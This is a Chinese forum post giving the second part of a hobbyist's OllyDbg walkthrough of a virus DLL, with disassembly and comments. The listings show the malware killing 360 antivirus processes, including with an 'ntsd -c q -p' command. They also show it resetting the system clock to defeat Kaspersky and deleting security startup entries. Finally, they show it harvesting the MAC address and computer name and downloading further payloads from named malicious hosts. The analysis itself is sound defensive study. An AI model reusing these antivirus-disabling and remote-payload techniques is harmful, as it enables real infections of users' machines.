前面版面上的一位仁兄贴的一个病毒，试着分析一下，呈现给大家（第二部分）
昨天把病毒释放的DLL分析了一下，果然病毒比较厉害。
病毒衍生的dll文件名称为%system32%\555E9A24.DLL
开始，用OD装载DLL，入口点处
10002ED9 >/$ 55 push ebp
10002EDA |. 8BEC mov ebp, esp
10002EDC |. 81EC CC000000 sub esp, 0CC
10002EE2 |. 56 push esi
10002EE3 |. BE 00AE0010 mov esi, 1000AE00
10002EE8 |. 57 push edi
10002EE9 |. 8D85 38FFFFFF lea eax, dword ptr [ebp-C8]
10002EEF |. 56 push esi ; |format => ""
10002EF0 |. 50 push eax ; |s
10002EF1 |. E8 AA140000 call <jmp.&MSVCRT.sprintf> ; \sprintf
不用理会一路的sprintf和sleep，走啊走啊，终于来到正题
100034BD |. 50 push eax ; /pThreadId
100034BE |. 33C0 xor eax, eax ; |
100034C0 |. 50 push eax ; |CreationFlags => 0
100034C1 |. 50 push eax ; |pThreadParm => NULL
100034C2 |. 68 CB250010 push 100025CB ; |ThreadFunction = 555E9A24.100025CB ////等到创建了线程后，跟过去吧
100034C7 |. 50 push eax ; |StackSize => 0
100034C8 |. 50 push eax ; |pSecurity => NULL
100034C9 |. FF15 B4500010 call dword ptr [<&KERNEL32.CreateThread>>; \CreateThread
100034CF |> \8BC7 mov eax, edi
100034D1 |. 5F pop edi
100034D2 |. 5E pop esi
100034D3 |. C9 leave
100034D4 \. C2 0C00 retn 0C
到这里程序就结束了，现在就是跟踪主线程创建的子线程.
CTRL+G，输入100025CB，来到
100025CB /. 55 push ebp
100025CC |. 8BEC mov ebp, esp
100025CE |. 81EC E4030000 sub esp, 3E4
100025D4 |. 53 push ebx
右键，此处为新EIP（反正我是用这种方式跟踪线程的，感觉挺不错的，因为堆栈肯定是平衡的）
继续前进吧
10002634 |. 50 push eax ; ASCII "AD09E3"
10002635 |. 8D85 2CFEFFFF lea eax, dword ptr [ebp-1D4]
1000263B |. 50 push eax ; ASCII "AD09E3"
1000263C |. E8 200F0000 call 10003561 ; 没什么东西，都是一些字符串运算，返回ASCII "3FD1E80C"的函数
紧接着，又是一堆字符串运算的函数和一堆sleep，统统跳过，来到
100026D9 |. 68 90700010 push 10007090
100026DE |. E8 59040000 call 10002B3C
进去
10002B92 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
10002B97 |. 50 push eax ; |Buffer
10002B98 |. FF15 B0500010 call dword ptr [<&KERNEL32.GetSystemDire>; \GetSystemDirectoryA ///获取系统目录
病毒又在组装字符串，得到%system32%\3FD1E80C.EXE，并打开这个文件（它想干什么？？？继续跟踪把）
10002E0C |. 68 A06B0010 push 10006BA0 ; /StringToAdd = "\"
10002E11 |. 50 push eax ; |ConcatString
10002E12 |. FF15 AC500010 call dword ptr [<&KERNEL32.lstrcatA>] ; \lstrcatA
10002E18 |. 8D85 2CFEFFFF lea eax, dword ptr [ebp-1D4]
10002E1E |. 68 04630010 push 10006304 ; /src = "3FD1E80C.EXE"
10002E23 |. 50 push eax ; |dest
10002E24 |. E8 83150000 call <jmp.&MSVCRT.strcat> ; \strcat
10002E29 |. 8D85 2CFEFFFF lea eax, dword ptr [ebp-1D4]
10002E2F |. 68 CC6D0010 push 10006DCC ; /mode = "rb"
10002E34 |. 50 push eax ; |path
10002E35 |. E8 F0150000 call <jmp.&MSVCRT.fopen> ; \fopen ///文件的path = "C:\WINDOWS\system32\3FD1E80C.EXE"
从文件%system32%\3FD1E80C.EXE里面读出一个字符串
10002EB6 |. FF75 FC push dword ptr [ebp-4]
10002EB9 |. 8D85 28FDFFFF lea eax, dword ptr [ebp-2D8]
10002EBF |. FF75 08 push dword ptr [ebp+8]
10002EC2 |. 50 push eax ; "pcbe.<=h!;<ugh'ki)vkev."
10002EC3 |. E8 F4FBFFFF call 10002ABC ///解密函数
这个"pcbe.<=h!;<ugh'ki)vkev."是什么???没有任何具体含义阿!?病毒岂不是白读文件了???不会的,这个肯定是加密以后的字符串,看它的解密结果
在10002ec3这个call之后呢，堆栈中
0006EECC 0006EEE4
0006EED0 10007090 ASCII "http://nx.51ylb.cn/soft/"
这就是解密结果了，一个网络连接，登陆一下，没有权限（由此可以基本确定这就是个毒站，呵呵）
病毒关闭文件，我们从函数里面返回
100026E3 |. 68 68A50010 push 1000A568
100026E8 |. E8 3AFCFFFF call 10002327
进去，看到连接网络的代码
10002327 /$ 55 push ebp
10002328 |. 8BEC mov ebp, esp
1000232A |. 81EC D8000000 sub esp, 0D8
10002330 |. 56 push esi ; 装载rpc库
10002331 |. 68 346D0010 push 10006D34 ; /FileName = "rpcrt4.dll"
10002336 |. FF15 D0500010 call dword ptr [<&KERNEL32.LoadLibraryA>] ; \LoadLibraryA
1000233C |. 8BF0 mov esi, eax
1000233E |. 85F6 test esi, esi
10002340 |. 74 2B je short 1000236D
10002342 |. 68 1C6D0010 push 10006D1C ; /ProcNameOrOrdinal = "UuidCreateSequential"
10002347 |. 56 push esi ; |hModule
10002348 |. FF15 DC500010 call dword ptr [<&KERNEL32.GetProcAddress>>; \GetProcAddress
1000234E |. 85C0 test eax, eax
10002350 |. 74 08 je short 1000235A ; 获取函数RPCRT4.UuidCreateSequential的入口地址失败，跳走
10002352 |. 8D4D F0 lea ecx, dword ptr [ebp-10]
10002355 |. 51 push ecx
10002356 |. FFD0 call eax ; RPCRT4.UuidCreateSequential
10002358 |. EB 0A jmp short 10002364
1000235A |> 8D45 F0 lea eax, dword ptr [ebp-10]
1000235D |. 50 push eax ; 获取函数RPCRT4.UuidCreateSequential的入口地址失败，采用ole32.CoCreateGuid方式
1000235E |. FF15 60510010 call dword ptr [<&ole32.CoCreateGuid>] ; ole32.CoCreateGuid
10002364 |> 56 push esi ; /hLibModule
10002365 |. FF15 D8500010 call dword ptr [<&KERNEL32.FreeLibrary>] ; \FreeLibrary
1000236B |. EB 0A jmp short 10002377
1000236D |> 8D45 F0 lea eax, dword ptr [ebp-10]
10002370 |. 50 push eax
10002371 |. FF15 60510010 call dword ptr [<&ole32.CoCreateGuid>] ; ole32.CoCreateGuid
10002377 |> BE 00AE0010 mov esi, 1000AE00
以上分析不知道对不对，反正我对网络的api不是很熟悉，大概能分析出它的意思
跳过一路的sprintf来到
10002442 |. 0FB645 FF movzx eax, byte ptr [ebp-1]
10002446 |. 50 push eax ; /<%2.2X>
10002447 |. 0FB645 FE movzx eax, byte ptr [ebp-2] ; |
1000244B |. 50 push eax ; |<%2.2X>
1000244C |. 0FB645 FD movzx eax, byte ptr [ebp-3] ; |
10002450 |. 50 push eax ; |<%2.2X>
10002451 |. 0FB645 FC movzx eax, byte ptr [ebp-4] ; |
10002455 |. 50 push eax ; |<%2.2X>
10002456 |. 0FB645 FB movzx eax, byte ptr [ebp-5] ; |
1000245A |. 50 push eax ; |<%2.2X>
1000245B |. 0FB645 FA movzx eax, byte ptr [ebp-6] ; |
1000245F |. 50 push eax ; |<%2.2X>
10002460 |. 68 F86C0010 push 10006CF8 ; |Format = "%2.2X-%2.2X-%2.2X-%2.2X-%2.2X-%2.2X"
10002465 |. FF75 08 push dword ptr [ebp+8] ; |s
10002468 |. FF15 4C510010 call dword ptr [<&USER32.wsprintfA>] ; \wsprintfA
看堆栈!!!
0006F084 1000A568 |s = 555E9A24.1000A568
0006F088 10006CF8 |Format = "%2.2X-%2.2X-%2.2X-%2.2X-%2.2X-%2.2X"
0006F08C 00000000 |<%2.2X> = 0
0006F090 0000000C |<%2.2X> = C
0006F094 00000029 |<%2.2X> = 29
0006F098 0000004F |<%2.2X> = 4F
0006F09C 000000C5 |<%2.2X> = C5
0006F0A0 00000096 \<%2.2X> = 96
在数据窗口中跟踪1000A568这个地址;在执行call dword ptr [<&USER32.wsprintfA>] 后,数据窗口如图
1000A568 30 30 2D 30 43 2D 32 39 2D 34 46 2D 43 35 2D 39 00-0C-29-4F-C5-9
1000A578 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6...............
我的网卡MAC!!!
随着函数返回,来到
100026F3 |. 50 push eax ; /pBufferSize
100026F4 |. 68 9C730010 push 1000739C ; |Buffer = 555E9A24.1000739C
100026F9 |. FF15 84500010 call dword ptr [<&KERNEL32.GetComputerName>; \GetComputerNameA
病毒获取了你的ComputerName
紧接着,病毒获取它所被钩挂在的进程
这句话有点绕,意思就是说如果%system32%\555E9A24.DLL被钩挂在进程EXPLORER.EXE中,则返回%WINDOWS%\EXPLORER.EXE
10002711 |. 8D85 24FDFFFF lea eax, dword ptr [ebp-2DC]
10002717 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
1000271C |. 50 push eax ; |PathBuffer
1000271D |. 6A 00 push 0 ; |hModule = NULL
1000271F |. FF15 88500010 call dword ptr [<&KERNEL32.GetModuleFileNa>; \GetModuleFileNameA
10002725 |. 85C0 test eax, eax
10002727 |. 0F84 8A030000 je 10002AB7 ///获取失败,跳走
一路前行,终于来到
100027B1 |. 68 04690010 push 10006904 ; /s2 = "winlogon.exe"
100027B6 |. 50 push eax ; |s1
100027B7 |. E8 F61B0000 call <jmp.&MSVCRT.strstr> ; \strstr
100027BC |. BF AC760010 mov edi, 100076AC ; 测试当前进程是不是winlogon.exe
100027C1 |. 68 986D0010 push 10006D98 ; /src = "http://a"
100027C6 |. 57 push edi ; |dest => 555E9A24.100076AC
100027C7 |. E8 DA1B0000 call <jmp.&MSVCRT.strcpy> ; \strcpy
100027CC |. 68 8C6D0010 push 10006D8C ; /src = "lexa.verynx"
100027D1 |. 57 push edi ; |dest
100027D2 |. E8 D51B0000 call <jmp.&MSVCRT.strcat> ; \strcat
100027D7 |. 68 846D0010 push 10006D84 ; /src = ".cn/"
100027DC |. 57 push edi ; |dest
100027DD |. E8 CA1B0000 call <jmp.&MSVCRT.strcat> ; \strcat
100027E2 |. BF 00AE0010 mov edi, 1000AE00 ; //看堆栈
我们看一下堆栈中显示的字符串的运算结果
0006F1B0 100076AC ASCII "http://alexa.verynx.cn/"
0006F1B4 10006D84 ASCII ".cn/"
又是一个网络连接,记住它,会有用的
继续前进,来到
10002989 |. 50 push eax ; /s2
1000298A |. 8D85 24FDFFFF lea eax, dword ptr [ebp-2DC] ; |
10002990 |. 50 push eax ; |/StringOrChar
10002991 |. FFD7 call edi ; |\CharUpperA
10002993 |. 50 push eax ; |s1
10002994 |. E8 191A0000 call <jmp.&MSVCRT.strstr> ; \strstr
10002999 |. 59 pop ecx ; 这个函数的两个输入参数是：
1000299A |. 85C0 test eax, eax ; s1 = "C:\DOCUMENTS AND SETTINGS\CTS.ANCUI\",D7,"烂PEDIY\OLLYICE\LOADDLL.EXE"
1000299C |. 59 pop ecx ; s2 = "WINLOGON.EXE"
1000299D |. 74 6B je short 10002A0A ; ///很明显如果当前进程不是winlogon.exe的话，跳走
1000299F |. 8B3D B4500010 mov edi, dword ptr [<&KERNEL32.CreateThre>; kernel32.CreateThread
100029A5 |. 8D45 FC lea eax, dword ptr [ebp-4] ; ///如果单前进程是winlogon.exe的话，执行这里（听说winlogon.exe的优先级比较高，嘿嘿）
100029A8 |. 33DB xor ebx, ebx
100029AA |. 50 push eax ; /pThreadId
100029AB |. 53 push ebx ; |CreationFlags => 0
100029AC |. 53 push ebx ; |pThreadParm => NULL
100029AD |. 68 00100010 push 10001000 ; |ThreadFunction = 555E9A24.10001000
100029B2 |. 53 push ebx ; |StackSize => 0
100029B3 |. 53 push ebx ; |pSecurity => NULL
100029B4 |. FFD7 call edi ; \CreateThread
100029B6 |. 8D45 FC lea eax, dword ptr [ebp-4]
100029B9 |. 50 push eax ; /pThreadId
100029BA |. 53 push ebx ; |CreationFlags => 0
100029BB |. 53 push ebx ; |pThreadParm => NULL
100029BC |. 68 15380010 push 10003815 ; |ThreadFunction = 555E9A24.10003815
100029C1 |. 53 push ebx ; |StackSize => 0
100029C2 |. 53 push ebx ; |pSecurity => NULL
100029C3 |. FFD7 call edi ; \CreateThread
100029C5 |. 8D45 FC lea eax, dword ptr [ebp-4]
100029C8 |. 50 push eax ; /pThreadId
100029C9 |. 53 push ebx ; |CreationFlags => 0
100029CA |. 53 push ebx ; |pThreadParm => NULL
100029CB |. 68 871F0010 push 10001F87 ; |ThreadFunction = 555E9A24.10001F87
100029D0 |. 53 push ebx ; |StackSize => 0
100029D1 |. 53 push ebx ; |pSecurity => NULL
100029D2 |. FFD7 call edi ; \CreateThread
100029D4 |. 8D45 FC lea eax, dword ptr [ebp-4]
100029D7 |. 50 push eax ; /pThreadId
100029D8 |. 53 push ebx ; |CreationFlags => 0
100029D9 |. 53 push ebx ; |pThreadParm => NULL
100029DA |. 68 2F100010 push 1000102F ; |ThreadFunction = 555E9A24.1000102F
100029DF |. 53 push ebx ; |StackSize => 0
100029E0 |. 53 push ebx ; |pSecurity => NULL
100029E1 |. FFD7 call edi ; \CreateThread
100029E3 |. 8D45 FC lea eax, dword ptr [ebp-4]
100029E6 |. 50 push eax ; /pThreadId
100029E7 |. 53 push ebx ; |CreationFlags => 0
100029E8 |. 53 push ebx ; |pThreadParm => NULL
100029E9 |. 68 4B200010 push 1000204B ; |ThreadFunction = 555E9A24.1000204B
100029EE |. 53 push ebx ; |StackSize => 0
100029EF |. 53 push ebx ; |pSecurity => NULL
100029F0 |. FFD7 call edi ; \CreateThread
100029F2 |. 68 046A0010 push 10006A04 ; /Arg2 = 10006A04 ASCII "explorer.exe"
100029F7 |. 68 04670010 push 10006704 ; |Arg1 = 10006704 ASCII "555E9A24.DLL"
100029FC |. E8 38F7FFFF call 10002139 ; \555E9A24.10002139
10002A01 |> 68 E8030000 /push 3E8
10002A06 |. FFD6 |call esi
10002A08 |.^ EB F7 \jmp short 10002A01
10002A0A |> 68 046A0010 push 10006A04 ; ASCII "explorer.exe"
10002A0F |. FFD7 call edi
10002A11 |. 50 push eax
10002A12 |. 8D85 24FDFFFF lea eax, dword ptr [ebp-2DC]
10002A18 |. 50 push eax
10002A19 |. FFD7 call edi
10002A1B |. 50 push eax ; |s1
10002A1C |. E8 91190000 call <jmp.&MSVCRT.strstr> ; \strstr
10002A21 |. 59 pop ecx ; 检测当前进程是不是explorer.exe
10002A22 |. 85C0 test eax, eax
10002A24 |. 59 pop ecx
10002A25 |. 74 28 je short 10002A4F ; 如果不是,跳走
10002A27 |. 8B3D B4500010 mov edi, dword ptr [<&KERNEL32.CreateThre>; kernel32.CreateThread
10002A2D |. 8D45 FC lea eax, dword ptr [ebp-4]
10002A30 |. 33DB xor ebx, ebx
10002A32 |. 50 push eax ; /pThreadId
10002A33 |. 53 push ebx ; |CreationFlags => 0
10002A34 |. 53 push ebx ; |pThreadParm => NULL
10002A35 |. 68 221F0010 push 10001F22 ; |ThreadFunction = 555E9A24.10001F22
10002A3A |. 53 push ebx ; |StackSize => 0
10002A3B |. 53 push ebx ; |pSecurity => NULL
10002A3C |. FFD7 call edi ; \CreateThread
10002A3E |. 8D45 FC lea eax, dword ptr [ebp-4]
10002A41 |. 50 push eax ; /pThreadId
10002A42 |. 53 push ebx ; |CreationFlags => 0
10002A43 |. 53 push ebx ; |pThreadParm => NULL
10002A44 |. 68 61250010 push 10002561 ; |ThreadFunction = 555E9A24.10002561
10002A49 |. 53 push ebx ; |StackSize => 0
10002A4A |. 53 push ebx ; |pSecurity => NULL
10002A4B |. FFD7 call edi ; \CreateThread
10002A4D |.^ EB B2 jmp short 10002A01
10002A4F |> 53 push ebx
上面的代码比较长，但是大体上是分支语句
if(CurrentProcess == "WINLOGON.EXE")
do A;
elseif(CurrentProcess == "EXPLORER.EXE")
do B;
else
do C;
懂了吧，呵呵
下面如果单前进程是winlogon.exe的话，看看病毒如何破坏（执行到1000299D时,在1000299F右键，此处为EIP，呵呵，这个方法贼好使，当然你的保证堆栈等东西的平衡）
创建了几个线程,我们一个一个地分析功能,CTRL+G,输入10001000,来到(继续我的伎俩,此处为新EIP,哈哈)
10001000 . 55 push ebp
10001001 . 8BEC mov ebp, esp
10001003 . 83EC 10 sub esp, 10
10001006 > 8D45 F0 lea eax, dword ptr [ebp-10]
10001009 . 50 push eax ; /pSystemTime
1000100A . FF15 94500010 call dword ptr [<&KERNEL32.GetSystemTime>] ; \GetSystemTime
10001010 . 66:817D F0 D5>cmp word ptr [ebp-10], 7D5
10001016 . 76 0A jbe short 10001022
10001018 . 8D45 F0 lea eax, dword ptr [ebp-10]
1000101B . 50 push eax ; /pSystemTime
1000101C . FF15 90500010 call dword ptr [<&KERNEL32.SetSystemTime>] ; \SetSystemTime ///又是修改系统时间,来使得卡巴斯基无效
10001022 > 68 D0070000 push 7D0 ; /Timeout = 2000. ms
10001027 . FF15 8C500010 call dword ptr [<&KERNEL32.Sleep>] ; \Sleep
1000102D .^\EB D7 jmp short 10001006
上面是一个带有sleep的死循环,不停的修改系统时间，也就是说，这个线程是对付卡巴斯基的。
下一个线程,CTRL+G,10003815来到
10003815 > /E8 BBFEFFFF call 100036D5 ////杀除360，并删除360的启动项
1000381A . |68 E8030000 push 3E8 ; /Timeout = 1000. ms
1000381F . |FF15 8C500010 call dword ptr [<&KERNEL32.Sleep>] ; \Sleep
10003825 .^\EB EE jmp short 10003815
又是一个带有sleep的死循环，进call
100036D5 /$ 55 push ebp
100036D6 |. 8BEC mov ebp, esp
100036D8 |. B8 7C1E0000 mov eax, 1E7C
100036DD |. E8 EE0C0000 call 100043D0 ; 没有有用的东西
往下走，经过一些和注册表相关字符串，来到一个循环
1000376F |> /8D5F E7 /lea ebx, dword ptr [edi-19] ; "360"
10003772 |. |53 |push ebx ; /s
10003773 |. |E8 460C0000 |call <jmp.&MSVCRT.strlen> ; \strlen
10003778 |. |83F8 03 |cmp eax, 3
1000377B |. |59 |pop ecx
1000377C |. |72 07 |jb short 10003785 ; 字符串长度小于3,跳走
1000377E |. |53 |push ebx ; "360"
1000377F |. |E8 50010000 |call 100038D4 ; 杀死360的函数////在下面，会详细一下
10003784 |. |59 |pop ecx
10003785 |> |6A 05 |push 5
10003787 |. |FFD6 |call esi
10003789 |. |57 |push edi ; /s
1000378A |. |E8 2F0C0000 |call <jmp.&MSVCRT.strlen> ; \strlen
1000378F |. |83F8 03 |cmp eax, 3
10003792 |. |59 |pop ecx
10003793 |. |72 34 |jb short 100037C9
10003795 |. |8D85 34FFFFFF |lea eax, dword ptr [ebp-CC]
1000379B |. |50 |push eax ; /src
1000379C |. |8D85 D0FEFFFF |lea eax, dword ptr [ebp-130] ; |
100037A2 |. |50 |push eax ; |dest
100037A3 |. |E8 FE0B0000 |call <jmp.&MSVCRT.strcpy> ; \strcpy
100037A8 |. |8D85 D0FEFFFF |lea eax, dword ptr [ebp-130]
100037AE |. |57 |push edi ; /src
100037AF |. |50 |push eax ; |dest
100037B0 |. |E8 F70B0000 |call <jmp.&MSVCRT.strcat> ; \strcat
100037B5 |. |57 |push edi
100037B6 |. |E8 9B070000 |call 10003F56 ; 注册自身服务
100037BB |. |83C4 14 |add esp, 14
100037BE |. |6A 05 |push 5
100037C0 |. |FFD6 |call esi
100037C2 |. |57 |push edi
100037C3 |. |E8 13070000 |call 10003EDB ; 也是注册自身服务,方法不同
100037C8 |. |59 |pop ecx
100037C9 |> |8D5F 19 |lea ebx, dword ptr [edi+19]
100037CC |. |53 |push ebx ; /s
100037CD |. |E8 EC0B0000 |call <jmp.&MSVCRT.strlen> ; \strlen
100037D2 |. |83F8 01 |cmp eax, 1
100037D5 |. |59 |pop ecx
100037D6 |. |76 21 |jbe short 100037F9
100037D8 |. |8D45 98 |lea eax, dword ptr [ebp-68]
100037DB |. |53 |push ebx
100037DC |. |50 |push eax
100037DD |. |68 01000080 |push 80000001
100037E2 |. |E8 BF060000 |call 10003EA6 ; 删除注册表中的启动项,当然不是删除自己的,删除360的
100037E7 |. |8D45 98 |lea eax, dword ptr [ebp-68] ; |
100037EA |. |53 |push ebx ; |Arg3
100037EB |. |50 |push eax ; |Arg2
100037EC |. |68 02000080 |push 80000002 ; |Arg1 = 80000002
100037F1 |. |E8 B0060000 |call 10003EA6 ; \555E9A24.10003EA6
100037F6 |. |83C4 18 |add esp, 18 ; 也是删除启动项,估计经过上面的删除后,什么杀毒软件都很难随机器一起启动
100037F9 |> |6A 05 |push 5
100037FB |. |FFD6 |call esi
100037FD |. |6A 0A |push 0A
100037FF |. |FFD6 |call esi
10003801 |. |83C7 4B |add edi, 4B
10003804 |. |FF4D FC |dec dword ptr [ebp-4]
10003807 |.^\0F85 62FFFFFF \jnz 1000376F
我把1000377F处病毒杀除360的函数详细一下
100038D4 /$ 55 push ebp
100038D5 |. 8BEC mov ebp, esp
100038D7 |. 81EC 78010000 sub esp, 178
100038DD |. 53 push ebx
100038DE |. 56 push esi
100038DF |. 57 push edi
100038E0 |. E8 F2FBFFFF call 100034D7
100038E5 |. 6A 00 push 0 ; /ProcessID = 0
100038E7 |. 6A 02 push 2 ; |Flags = TH32CS_SNAPPROCESS
100038E9 |. 8BD8 mov ebx, eax ; |
100038EB |. C785 88FEFFFF>mov dword ptr [ebp-178], 128 ; |
100038F5 |. E8 420B0000 call <jmp.&KERNEL32.CreateToolhelp32Snapsh>; \CreateToolhelp32Snapshot
100038FA |. 8BF8 mov edi, eax
100038FC |. 8D85 88FEFFFF lea eax, dword ptr [ebp-178]
10003902 |. 50 push eax ; /pProcessentry
10003903 |. 57 push edi ; |hSnapshot
10003904 |. E8 2D0B0000 call <jmp.&KERNEL32.Process32First> ; \Process32First
10003909 |. 8B35 50510010 mov esi, dword ptr [<&USER32.CharUpperA>] ; USER32.CharUpperA
1000390F |> FF75 08 /push dword ptr [ebp+8]
10003912 |. FFD6 |call esi
10003914 |. 50 |push eax
10003915 |. 8D85 ACFEFFFF |lea eax, dword ptr [ebp-154]
1000391B |. 50 |push eax
1000391C |. FFD6 |call esi
1000391E |. 50 |push eax ; |s1
1000391F |. E8 8E0A0000 |call <jmp.&MSVCRT.strstr> ; \strstr
10003924 |. 59 |pop ecx
10003925 |. 85C0 |test eax, eax
10003927 |. 59 |pop ecx
10003928 |. 74 78 |je short 100039A2 ; 如果当前进程不是360,跳走
1000392A |. FFB5 90FEFFFF |push dword ptr [ebp-170] ; 否则,杀死
10003930 |. E8 5DFFFFFF |call 10003892 ; 杀死进程的函数
10003935 |. 83F8 01 |cmp eax, 1
10003938 |. 59 |pop ecx
10003939 |. 75 67 |jnz short 100039A2
1000393B |. 83FB 02 |cmp ebx, 2
1000393E |. 75 62 |jnz short 100039A2 ; 如果没有杀死,下面用NTSD命令继续较劲
10003940 |. 68 906E0010 |push 10006E90 ; ASCII "NTSD"
10003945 |. FFD6 |call esi
10003947 |. 50 |push eax
10003948 |. FF75 08 |push dword ptr [ebp+8]
1000394B |. FFD6 |call esi
1000394D |. 50 |push eax ; |s1
1000394E |. E8 5F0A0000 |call <jmp.&MSVCRT.strstr> ; \strstr
10003953 |. 59 |pop ecx
10003954 |. 85C0 |test eax, eax
10003956 |. 59 |pop ecx
10003957 |. 75 49 |jnz short 100039A2
10003959 |. FFB5 90FEFFFF |push dword ptr [ebp-170] ; /<%d>
1000395F |. 8D45 E4 |lea eax, dword ptr [ebp-1C] ; |
10003962 |. 68 8C6E0010 |push 10006E8C ; |format = "%d"
10003967 |. 50 |push eax ; |s
10003968 |. E8 330A0000 |call <jmp.&MSVCRT.sprintf> ; \sprintf
1000396D |. 8D45 B0 |lea eax, dword ptr [ebp-50]
10003970 |. 68 7C6E0010 |push 10006E7C ; /src = "ntsd -c q -p "
10003975 |. 50 |push eax ; |dest
10003976 |. E8 2B0A0000 |call <jmp.&MSVCRT.strcpy> ; \strcpy
1000397B |. 8D45 E4 |lea eax, dword ptr [ebp-1C]
1000397E |. 50 |push eax ; /src
1000397F |. 8D45 B0 |lea eax, dword ptr [ebp-50] ; |
10003982 |. 50 |push eax ; |dest
10003983 |. E8 240A0000 |call <jmp.&MSVCRT.strcat> ; \strcat
10003988 |. 83C4 1C |add esp, 1C
1000398B |. 8D45 B0 |lea eax, dword ptr [ebp-50] ; 再次执行杀死命令
1000398E |. 6A 00 |push 0 ; /ShowState = SW_HIDE
10003990 |. 50 |push eax ; |CmdLine
10003991 |. FF15 A8500010 |call dword ptr [<&KERNEL32.WinExec>] ; \WinExec
10003997 |. 68 706E0010 |push 10006E70 ; ASCII "ntsd.exe"
1000399C |. E8 33FFFFFF |call 100038D4 ; 函数嵌套,也就是说,不停的杀进程
100039A1 |. 59 |pop ecx
100039A2 |> 8D85 88FEFFFF |lea eax, dword ptr [ebp-178]
100039A8 |. 50 |push eax ; /pProcessentry
100039A9 |. 57 |push edi ; |hSnapshot
100039AA |. E8 810A0000 |call <jmp.&KERNEL32.Process32Next> ; \Process32Next
100039AF |. 85C0 |test eax, eax
100039B1 |.^ 0F85 58FFFFFF \jnz 1000390F
100039B7 |. 57 push edi ; /hObject
100039B8 |. FF15 98500010 call dword ptr [<&KERNEL32.CloseHandle>] ; \CloseHandle
100039BE |. 5F pop edi ; 杀完,爽了,走人
100039BF |. 5E pop esi
100039C0 |. 33C0 xor eax, eax
100039C2 |. 5B pop ebx
100039C3 |. C9 leave
100039C4 \. C3 retn
退出循环，ret，这个线程分析完毕
下一个线程，CTRL+G,10001F87,
????????打住!!!!!!!!!!挑重点讲吧,千万别让大伙睡着了
这个线程,专门用来注册自身服务的
下一个线程专门用来禁用Windows错误报告和禁止用户查看隐藏文件
下一个,很重要,1000204B,来到
1000204B /. 55 push ebp
1000204C |. 8BEC mov ebp, esp
1000204E |. 81EC 10020000 sub esp, 210
10002054 |. 53 push ebx
10002055 |. 56 push esi
下面这个循环
100020B5 |> /8D85 F4FEFFFF /lea eax, dword ptr [ebp-10C] ; "C:\WINDOWS\system32\dd33gsd2.exe"
100020BB |. |50 |push eax ; /Path
100020BC |. |FF15 2C510010 |call dword ptr [<&SHLWAPI.PathFileExistsA>; \PathFileExistsA
100020C2 |. |85C0 |test eax, eax
100020C4 |. |75 4F |jnz short 10002115 ; 文件不存在,跳走
100020C6 |. |43 |inc ebx
100020C7 |. |83FB 0A |cmp ebx, 0A
100020CA |. |7F 65 |jg short 10002131
100020CC |. |8D45 FC |lea eax, dword ptr [ebp-4]
100020CF |. |50 |push eax ; /timer
100020D0 |. |E8 E3220000 |call <jmp.&MSVCRT.time> ; \time
100020D5 |. |56 |push esi ; /n
100020D6 |. |8D85 F0FDFFFF |lea eax, dword ptr [ebp-210] ; |
100020DC |. |6A 00 |push 0 ; |c = 00
100020DE |. |50 |push eax ; |s
100020DF |. |E8 1C230000 |call <jmp.&MSVCRT.memset> ; \memset
100020E4 |. |FF75 FC |push dword ptr [ebp-4] ; /<%d>
100020E7 |. |8D85 F0FDFFFF |lea eax, dword ptr [ebp-210] ; |
100020ED |. |68 C06C0010 |push 10006CC0 ; |format = "did%d.s"
100020F2 |. |50 |push eax ; |s
100020F3 |. |E8 A8220000 |call <jmp.&MSVCRT.sprintf> ; \sprintf
100020F8 |. |8D85 F0FDFFFF |lea eax, dword ptr [ebp-210]
100020FE |. |6A 01 |push 1
10002100 |. |50 |push eax
10002101 |. |68 90700010 |push 10007090
10002106 |. |E8 84F2FFFF |call 1000138F ; 连接网络下载http://nx.51ylb.cn/soft/update.txt到本地命名为%system32%\did1199784307.s
1000210B |. |83C4 28 |add esp, 28 ; 并根据下载文件,来下载新的病毒运行,修改系统参数
1000210E |. |68 A00F0000 |push 0FA0
10002113 |. |FFD7 |call edi
10002115 |> |8D85 F4FEFFFF |lea eax, dword ptr [ebp-10C]
1000211B |. 68 B46C0010 |push 10006CB4 ; ASCII "auto.exe"
10002120 |. 50 |push eax
10002121 |. E8 6E200000 |call 10004194 ; 用下载下来的病毒更新病毒体自身,并更新每个驱动器下面的auto.exe
10002126 |. 59 |pop ecx ; 老牛了!!!
10002127 |. 59 |pop ecx
10002128 |. 68 10270000 |push 2710
1000212D |. FFD7 |call edi
1000212F |.^ EB 84 \jmp short 100020B5
最后推出循环,结束线程
网络文件http://nx.51ylb.cn/soft/update.txt(看到了吧，它要干什么，清楚的很)
